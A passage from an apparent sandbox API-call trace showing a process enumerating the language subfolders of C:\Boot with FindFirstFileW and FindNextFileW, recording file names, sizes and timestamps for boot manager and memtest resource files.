nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.962] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.962] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.962] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0052.963] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0052.963] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.963] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0052.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0052.963] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.963] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.963] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0052.963] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0052.963] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0052.964] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.964] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0052.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0052.964] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0052.964] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.964] FindClose (in: hFindFile=0x4260440 | out: hFindFile=0x4260440) returned 1 [0052.964] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.964] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0052.964] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0052.965] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.965] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0052.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0052.965] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0052.965] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.965] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0052.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.965] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0052.965] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0052.966] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.966] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0052.966] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.966] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0052.966] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0052.966] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 